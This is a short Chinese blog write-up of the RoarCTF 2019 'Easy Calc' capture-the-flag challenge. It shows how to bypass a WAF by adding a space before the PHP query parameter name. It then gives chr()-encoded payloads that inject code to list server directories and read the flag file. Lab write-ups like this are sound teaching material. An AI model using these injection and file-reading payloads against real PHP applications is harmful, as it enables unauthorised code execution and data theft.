[RoarCTF 2019]Easy Calc 1

在这里插入图片描述

解题过程

1.查看源码,发现calc.php
在这里插入图片描述
在这里插入图片描述
2.尝试输入命令,看能否执行
http://node4.buuoj.cn:25853/calc.php?num=phpinfo()
在这里插入图片描述
3.发现存在waf,进行绕过

PHP在接收URL传入的内容时,会将空格去除,将一些特殊字符转换为下划线(转换对象也包含空格)。
这里在num传参和?之后加入一个空格就可以绕过waf

http://node4.buuoj.cn:25853/calc.php?%20num=phpinfo()
在这里插入图片描述4.绕过之后读取flag,但是特殊字符也被过滤了,尝试使用chr()函数将ascii值转换为字符串进行拼接
payload

/calc.php?%20num=var_dump(scandir(chr(46).chr(47)))

scandir()  获取指定目录下的文件,返回数组
数组需要var_dump()或者print_r()函数进行打印
chr()将ascii值转换为字符串

5.寻找flag
http://node4.buuoj.cn:25853/calc.php?%20num=var_dump(scandir(chr(47)))
在这里插入图片描述

http://node4.buuoj.cn:25853/calc.php?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
在这里插入图片描述

posted @ 2023-02-06 16:40  坤舆小菜鸡  阅读(92)  评论(0编辑  收藏  举报  来源